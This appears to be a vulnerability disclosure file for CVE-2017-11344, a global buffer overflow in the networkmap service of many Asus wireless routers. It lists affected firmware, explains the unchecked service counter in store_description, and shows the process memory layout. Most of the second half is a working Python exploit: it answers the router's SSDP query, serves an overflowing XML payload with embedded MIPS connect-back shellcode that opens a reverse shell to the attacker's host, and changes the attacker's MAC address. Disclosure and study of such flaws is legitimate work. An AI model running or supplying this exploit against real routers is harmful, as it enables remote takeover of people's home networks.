-
Notifications
You must be signed in to change notification settings - Fork 23
/
Copy pathAsus_GlobalWirteOverflow.txt
319 lines (284 loc) · 12 KB
/
Asus_GlobalWirteOverflow.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
CVE-2017-11344
[Vulnerability]:
Global buffer overflow in networkmap
------------------------------------------
[Exploitation]:
Can write data at any address in heap
------------------------------------------
[Vendor of Product]:
Asus wireless router
------------------------------------------
[Affected Products and firmware version]:
Asuswrt-Merlin ,all the firmware and the latest firmware is 380.66_6
RT-AC5300 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT_AC1900P ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC68U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC68P ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC88U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC66U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC66U_B1 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC58U ,all the firmware,and the latest firmware is 3.0.0.4.380.7485
RT-AC56U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC55U ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-AC52U ,all the firmware,and the latest firmware is 3.0.0.4.380.4180
RT-AC51U ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N18U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-N66U ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N56U ,all the firmware,and the latest firmware is 3.0.0.4.378.7177
RT-AC3200 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC3100 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT_AC1200GU ,all the firmware,and the latest firmware is 3.0.0.4.380.5577
RT_AC1200G ,all the firmware,and the latest firmware is 3.0.0.4.380.3167
RT-AC1200 ,all the firmware,and the latest firmware is 3.0.0.4.380.9880
RT-AC53 ,all the firmware,and the latest firmware is 3.0.0.4.380.9883
RT-N12HP ,all the firmware,and the latest firmware is 3.0.0.4.380.2943
RT-N12HP_B1 ,all the firmware,and the latest firmware is 3.0.0.4.380.3479
RT-N12D1 ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N12+ ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT_N12+_PRO ,all the firmware,and the latest firmware is 3.0.0.4.380.9880
RT-N16 ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N300 ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
------------------------------------------
[Attack Type]:
Remote
------------------------------------------
[Can Cause Denial of Service?]:
yes
------------------------------------------
[Reference]:
https://github.com/RMerl/asuswrt-merlin/blob/master/release/src/router/networkmap/function.c#L903-L1032
http://asuswrt.lostrealm.ca/
https://www.asus.com/Networking/RTN12HP_B1/HelpDesk_Download/ (chose the others can download the firmware sourcecode)
https://www.asus.com/Networking/Wireless-Routers-Products/
------------------------------------------
[Discoverer]:
Tianfeng Guan, pkav of Sichuan Silent Information Technology Company Ltd, http://www.silence.com.cn/
------------------------------------------
[Affected components]:
Affected executable application: networkmap
Affected source code file: \release\src\router\networkmap\function.c
Affected function: store_description(char *msg)
------------------------------------------
[Vulnerability description]:
When the function process_device_repsonse of networkmap is parsing the
SSDP answer from a device and the SSDP answer has indicated the location like:
HTTP/1.1 200 OK
Location:HTTP://host:port/path
If the "HTTP://host:port/path" is valid, the networkmap will get the
device descirption xml by accessing "HTTP://host:port/path",and it will use
the function store_description to store the device descirption information
to global sturct device_info.
In the function store_description,there's no limit to the variable s_num,
so that it can cause the global sturct device_info overflow when copy the
data from tmp to description.service[s_num].url .
------------------------------------------
[Vulnerability details]:
In the \release\src\router\networkmap\function.c,
It define the global struct device_info description and the function store_description:
...
struct device_info description;
...
void store_description(char *msg)
{
...
int s_num = 0;
...
while( p!= NULL && p < body)
{
...
switch(type)
{
...
case 7:
strlcpy(description.service[s_num].url, tmp, sizeof(description.service[s_num].url));
NMP_DEBUG_F("service %d url = %s\n", s_num, tmp);
s_num++;
break;
}
}
...
}
You can see that the s_num variable is incremented in case 7,
But in the while( p!= NULL && p < body),it never check the s_num variable.
And in the \release\src\router\networkmap\networkmap.h,it define the struct device_info:
...
#define LINE_SIZE 200
#define SERVICE_NUM 10
struct service
{
char name[LINE_SIZE];
char url[LINE_SIZE];
};
struct device_info
{
char friendlyname[LINE_SIZE];
char manufacturer[LINE_SIZE];
char description[LINE_SIZE];
char modelname[LINE_SIZE];
char modelnumber[LINE_SIZE];
char presentation[LINE_SIZE];
struct service service[SERVICE_NUM];
int service_num;
};
Because SERVICE_NUM = 10,so,in the case 7 which in the function store_description,
when the s_num variable has be incremented and the s_num > 10,
the data copy to struct device_info description.service[s_num].url will overflow.
------------------------------------------
[Exploitation details]:
When the networkmap get the device descirption xml by accessing "HTTP://host:port/path",
we can respond a device descirption xml like:
<?xml><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL>shellcode<></root>
the shellcode will be written to the memory that out of the global struct device_info description.
And then,because the memory maps for networkmap is:
admin@RT-N12HP_B1:/# cat /proc/$(pidof networkmap)/maps
00400000-0040a000 r-xp 00000000 1f:02 104 /usr/sbin/networkmap
0041a000-0041b000 rw-p 0000a000 1f:02 104 /usr/sbin/networkmap
0041b000-00420000 rwxp 0041b000 00:00 0 [heap]
2aaa8000-2aaae000 r-xp 00000000 1f:02 733 /lib/ld-uClibc.so.0
2aaae000-2aaaf000 rw-p 2aaae000 00:00 0
2aab0000-2aab6000 rw-s 00000000 00:07 0 /SYSV000003e9 (deleted)
2aab6000-2aaba000 rw-s 00000000 00:07 32769 /SYSV000003ea (deleted)
2aabd000-2aabe000 r--p 00005000 1f:02 733 /lib/ld-uClibc.so.0
2aabe000-2aabf000 rw-p 00006000 1f:02 733 /lib/ld-uClibc.so.0
2aabf000-2aaeb000 r-xp 00000000 1f:02 164 /usr/lib/libshared.so
2aaeb000-2aafa000 ---p 2aaeb000 00:00 0
2aafa000-2aafe000 rw-p 0002b000 1f:02 164 /usr/lib/libshared.so
2aafe000-2ab0f000 rw-p 2aafe000 00:00 0
2ab0f000-2ab11000 r-xp 00000000 1f:02 235 /usr/lib/libnvram.so
2ab11000-2ab21000 ---p 2ab11000 00:00 0
2ab21000-2ab22000 rw-p 00002000 1f:02 235 /usr/lib/libnvram.so
2ab22000-2ab30000 r-xp 00000000 1f:02 732 /lib/libgcc_s.so.1
2ab30000-2ab40000 ---p 2ab30000 00:00 0
2ab40000-2ab41000 rw-p 0000e000 1f:02 732 /lib/libgcc_s.so.1
2ab41000-2ab79000 r-xp 00000000 1f:02 728 /lib/libc.so.0
2ab79000-2ab89000 ---p 2ab79000 00:00 0
2ab89000-2ab8a000 rw-p 00038000 1f:02 728 /lib/libc.so.0
2ab8a000-2ab8e000 rw-p 2ab8a000 00:00 0
2ab8e000-2ab96000 r--s 00000000 00:0b 297 /dev/nvram
7fc20000-7fc35000 rwxp 7fc20000 00:00 0 [stack]
7fff7000-7fff8000 r-xp 7fff7000 00:00 0 [vdso]
Both the Program address and the Heap address are not randomized and Continuous.
So when the global struct device_info overflow ,the shellcode could be write to
the heap ,and the shellcode address in the heap is fixed and Controllable.
------------------------------------------
[exp.py]:
# Tested product and firmware version:
# RT-N12HP_B1 (3.0.0.4.380.3479)
# coding=utf-8
ROUTER_IP = '192.168.2.1' #asus wireless router ip
IP = '192.168.2.31' #attacker ip
INTERACE = 'eth0' #attacker host network interface
CONNECTBACK_IP = '192.168.2.31' #the host ip use for connectback shell shellcode
#the default connectback port is 30583
import time
import socket
import sys
import os
import threading
import socketserver
sc = '<?xml><SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += b'\xff\xff\x04\x28'
sc += b'\xbb\x0f\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += b'\xfa\xff\x0f\x24'
sc += b'\x27\x78\xe0\x01'
sc += b'\xfd\xff\xe4\x21'
sc += b'\xfd\xff\xe5\x21'
sc += b'\xff\xff\x06\x28'
sc += b'\x57\x10\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += b'\xff\xff\xa2\xaf'
sc += b'\xff\xff\xa4\x8f'
sc += b'\xfd\xff\x11\x24'
sc += b'\x27\x88\x20\x02'
sc += b'\xe2\xff\xb1\xa7'
sc += b'\x77\x77\x0e\x24'
sc += b'\xe4\xff\xae\xa7'
sc += socket.inet_aton(CONNECTBACK_IP)[0] + socket.inet_aton(CONNECTBACK_IP)[1] + b'\x0e\x34'
sc += b'\xe6\xff\xae\xa7'
sc += socket.inet_aton(CONNECTBACK_IP)[2] + socket.inet_aton(CONNECTBACK_IP)[3] + b'\x0e\x24'
sc += b'\xe8\xff\xae\xa7'
sc += b'\xe2\xff\xa5\x27'
sc += b'\xef\xff\x0c\x24'
sc += b'\x27\x30\x80\x01'
sc += b'\x4a\x10\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += b'\x21\x28\x20\x02'
sc += b'\xdf\x0f\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += b'\xff\xff\x10\x24'
sc += b'\xff\xff\x31\x22'
sc += b'\xfa\xff\x30\x16'
sc += b'\xff\xff\x06\x28'
sc += b'\x2f\x2f\x0f\x24'
sc += b'\xec\xff\xaf\xa7'
sc += b'\x62\x69\x0f\x24'
sc += b'\xee\xff\xaf\xa7'
sc += b'\x6e\x2f\x0e\x24'
sc += b'\xf0\xff\xae\xa7'
sc += b'\x73\x68\x0e\x24'
sc += b'\xf2\xff\xae\xa7'
sc += b'\xf4\xff\xa0\xaf'
sc += b'\xec\xff\xa4\x27'
sc += b'\xf8\xff\xa4\xaf'
sc += b'\xfc\xff\xa0\xaf'
sc += b'\xf8\xff\xa5\x27'
sc += b'\xab\x0f\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += '<></root>'
def mac():
os.system('macchanger -A {}'.format(INTERACE))
os.system('ifconfig {} down; ifconfig {} {} up; route add default gw {};'.format(INTERACE, INTERACE, IP, ROUTER_IP))
class ThreadedHTTPRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
print('[-] got shellcode request')
self.request.recv(1024)
print("[-] sending shellcode")
self.request.send(sc)
class ThreadedHTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass
socketserver.TCPServer.allow_reuse_address = True
server = ThreadedHTTPServer(('0.0.0.0', 1337), ThreadedHTTPRequestHandler)
t = threading.Thread(target=server.serve_forever)
t.start()
print("[-] Please opens a new terminal and use ping ROUTER_IP to Speed up SSDP network interaction")
addrinfo = socket.getaddrinfo('239.255.255.250', None)[0]
s = socket.socket(addrinfo[0], socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('239.255.255.250', 1900))
s.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, socket.inet_aton(addrinfo[4][0]) + socket.inet_aton('0.0.0.0'))
mac()
times = 0
state = 'Overflow'
while True:
data, sender = s.recvfrom(1500)
if sender[0] == ROUTER_IP and sender[1] == 1008:
print("[-] received SSDP M-SEARCH Package")
data = {}
data['Overflow'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + IP.encode() + b':1337/A\r\n\r\n'
sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.sendto(data[state], sender)
if state == 'Overflow':
print("[-] Send the GetXmlRequest to router")
time.sleep(20)
os._exit(0)